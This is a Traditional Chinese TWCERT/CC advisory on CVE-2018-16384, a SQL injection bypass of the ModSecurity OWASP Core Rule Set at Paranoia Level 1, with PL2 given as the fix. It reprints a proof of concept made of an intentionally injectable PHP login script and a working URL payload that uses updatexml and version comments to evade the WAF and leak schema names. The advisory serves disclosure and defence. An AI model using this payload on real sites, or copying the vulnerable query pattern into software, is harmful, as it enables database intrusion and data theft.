| CVE編號 | CVE-2018-16384 |
|---|---|
| 影響產品 | CRS v3.1.0-rc3以前版本 |
| 解決辦法 | 調整Core Rule Set之Paranoia Level設定為2以上,即可偵測此類SQL隱碼攻擊。 |
| 張貼日 | 2018-09-14 |
| 上稿單位 | TWCERT/CC |
●概述:
標題所列Paranoia Level非指偏執狂、妄想症等精神醫學用語,而是追求安全防護的執著,為免部分讀者誤解,故不直譯,ModSecurity係普遍應用之公開網頁程式防火牆(WAF),可搭配OWASP(Open Web Application Security Project)維護的免費核心規則集(Core Rule Set:CRS),初始設計為Apache HTTP Server之模組,後續發展成http封包過濾軟體,亦支援Microsoft IIS、NGINX等伺服器平台,其商用CRS維護者Trustwave SpiderLabs研究室,測試出在PL1等級狀態,輸入特定語法表述結構{`函數名稱`sql指令敘述},能成功發動SQL injection,破壞資料庫機密性與完整性,證實Core Rule Set PL1具有嚴重瑕疵,而前述SQL injection手法在Core Rule Set PL2則被阻擋,因Paranoia Level 2包含1條規則(ID:942150,SQL Injection Attack),可攔截同類隱碼攻擊。
●編註:
(1) Core Rule Set安全等級
一套已經成形的網站,修補程式漏洞勢必牽動複雜的設計變更,比較經濟的作法即是Virtual Patching,不直接針對程式本體修補,而是導入WAF (Web Application Firewall),為符合是類需求,ModSecurity開發平台提供規則設定語言SecRules,使用者可自行定義切合實需的規則,即時監控、記錄所有出入http通訊封包。基於ModSecurity之普遍性,OWASP(Open Web Application Security Project)專案維護核心規則集(Core Rule Set),縮寫CRS,能抗衡一般類別的漏洞攻擊手法,CRS在ModSecurity官網免費釋出,當然也有需付費的規則集。
ModSecurity是防火牆引擎,單靠引擎無法偵測惡意徵候,需要搭配時常更新的檢測規則,也就是核心規則集,在CRS內將WAF規則分四等,每項規則均配賦ID、等級、重要性、偵測條件,經由crs-setup.conf組態值設定所需安全等級Paranoia Level 1~4,預設值Paranoia Level 1(PL1)為通用性防護規則,誤判率最低,隨等級提高其累加安全限制更為嚴苛,至PL4可謂最偏執,甚或阻擋相當數量的合法請求。
(2)弱點分析
新加坡電信下轄資安公司Trustwave之SpiderLabs,測試最新版核心規則集CRS v3.1.0-rc3,察覺SQL injection可突破PL1等級防護,概念驗證如下:
test.php
$id=$_GET['id'];
$conn=new mysqli('localhost','root','root','test');
if(!$conn){ die("Error to connect database!"); }
$sql="select username from user where id=".$id;
echo "$sql"."";
$res=$conn->query($sql);
#while($row=$res->fetch_row())
if($res){
$row=$res->fetch_row();
echo "\t Hello $row[0] ,Welcome to login,having a good day!";
$res->free();
$conn->close();
}else{ echo "".mysqli_error($conn)."";}
?>
SpiderLabs先設計test.php,再結合特定語法表述結構{`函數名稱`sql指令敘述} ,直接以URL示範:
http://127.0.0.1/test.php?id=1 and{`if`updatexml(1,concat(0x3a,(select /*!50000(/*!50000schema_name) from/*!50000information_schema*/.schemata limit 0,1)),1)}
無論sql指令成功與否,必然回傳訊息,此例可見回傳結果:
XPATH syntax error’:information_schema’
攻擊者打造特製請求,避開CRS Paranoia Level 1,藉以獲知資料庫名稱,當然也能刺探其他資料,甚至加以更改。
